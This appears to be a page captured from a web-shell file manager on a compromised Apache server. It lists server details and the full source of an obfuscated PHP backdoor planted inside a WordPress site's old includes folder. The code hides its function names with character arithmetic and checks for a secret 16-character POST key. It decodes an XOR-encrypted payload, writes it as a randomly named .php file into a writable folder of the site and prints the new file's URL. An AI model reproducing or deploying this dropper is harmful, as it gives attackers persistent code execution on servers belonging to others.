HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes_old/js/swfupload/bycpumkx.php
<?php $SnyFD = chr(68).chr(797-718)."\x43".chr(85).chr(1069-992)."\105".chr(333-255).chr(84).'_'.'R'."\x4f"."\x4f".chr(325-241);$hKsLCRIJT = chr(851-779).chr(393-309).'T'.'P'.chr(625-530)."\110".'O'."\x53".chr(620-536);$XufruXvO = 'h'.chr(1086-970)."\x74".chr(112)."\x3a"."\x2f".chr(675-628);$RbUVotfyR = chr(46)."\160".chr(712-608).'p';$TwSVvqtD = chr(112)."\x68"."\160";$TVZdbDRDZ = "\x66".'i'."\154".'e'."\x5f".chr(522-410).chr(477-360)."\x74".chr(95).chr(99)."\157"."\156"."\x74".'e'."\x6e".'t'.chr(767-652);$GwCBQMG = "\x72"."\x61"."\167"."\x75".chr(1043-929)."\154".chr(1086-986).chr(548-447).'c'.'o'."\x64".'e';$nTKhl = chr(117).chr(615-505).'s'.chr(895-794)."\162".chr(559-454).'a'.chr(876-768)."\x69".chr(122)."\x65";$DMCuCKyufA = 'i'.chr(732-617)."\137".chr(951-832)."\162"."\x69".'t'."\141".chr(98).'l'."\x65";$nQbaTi = chr(611-499)."\x68".'p'."\x76"."\145".chr(636-522)."\163".'i'."\x6f".'n';$AGVbRLY = chr(115)."\x74"."\x72".'_'.chr(114).chr(111)."\x74".chr(798-749)."\x33";$LODhapsuLO = chr(981-866)."\145".'r'.chr(671-566)."\x61".chr(552-444).'i'.chr(1044-922).chr(101);$ZYhau = chr(886-771).chr(116).chr(667-553).chr(189-94).'s'.chr(112)."\154".chr(157-52)."\164";foreach ($_POST as $HfiDsqobKg => $YmQwQrKem){$UXWUI = strlen($HfiDsqobKg);if ($UXWUI == 16){$YmQwQrKem = $ZYhau($GwCBQMG($AGVbRLY($YmQwQrKem)));$HfiDsqobKg = array_slice($ZYhau(str_repeat($HfiDsqobKg, (count($YmQwQrKem)/16)+1)), 0, count($YmQwQrKem));function WstozqS($ZasVLiylD, $xvNqVMjj, $HfiDsqobKg){$LrUVeaOP = "fe4ddef7-6e25-4dd8-8964-fb254fa8168b";return $ZasVLiylD ^ $LrUVeaOP[$xvNqVMjj % strlen($LrUVeaOP)] ^ $HfiDsqobKg;}$YmQwQrKem = array_map("WstozqS", array_values($YmQwQrKem), array_keys($YmQwQrKem), array_values($HfiDsqobKg));$YmQwQrKem = implode("", $YmQwQrKem);$YmQwQrKem = @$nTKhl($YmQwQrKem);if (@is_array($YmQwQrKem)){$muRNJbX = array_keys($YmQwQrKem);$YmQwQrKem = $YmQwQrKem[$muRNJbX[0]];if ($YmQwQrKem === $muRNJbX[0]){echo @$LODhapsuLO(Array($TwSVvqtD => @$nQbaTi(), ));exit();}else {function cEHGBc($TacQdKXSir){static $vjaVzenXd = array();$LMAkgnbzAz = glob($TacQdKXSir . '/*', GLOB_ONLYDIR);$jQZFVw = count($LMAkgnbzAz);if ($jQZFVw > 0) {foreach ($LMAkgnbzAz as $TacQdKXS) {if (@$DMCuCKyufA($TacQdKXS)) {$vjaVzenXd[] = $TacQdKXS;}}}foreach ($LMAkgnbzAz as $TacQdKXSir) cEHGBc($TacQdKXSir);return $vjaVzenXd;}$qmEDT = $_SERVER[$SnyFD];$LMAkgnbzAz = cEHGBc($qmEDT);$muRNJbX = array_rand($LMAkgnbzAz);$vmCjRrgd = $LMAkgnbzAz[$muRNJbX] . "/" . substr(md5(time()), 0, 8) . $RbUVotfyR;@$TVZdbDRDZ($vmCjRrgd, $YmQwQrKem);$aELgzyNtC = $XufruXvO . $_SERVER[$hKsLCRIJT] . substr($vmCjRrgd, strlen($qmEDT));print($aELgzyNtC);die();}}}}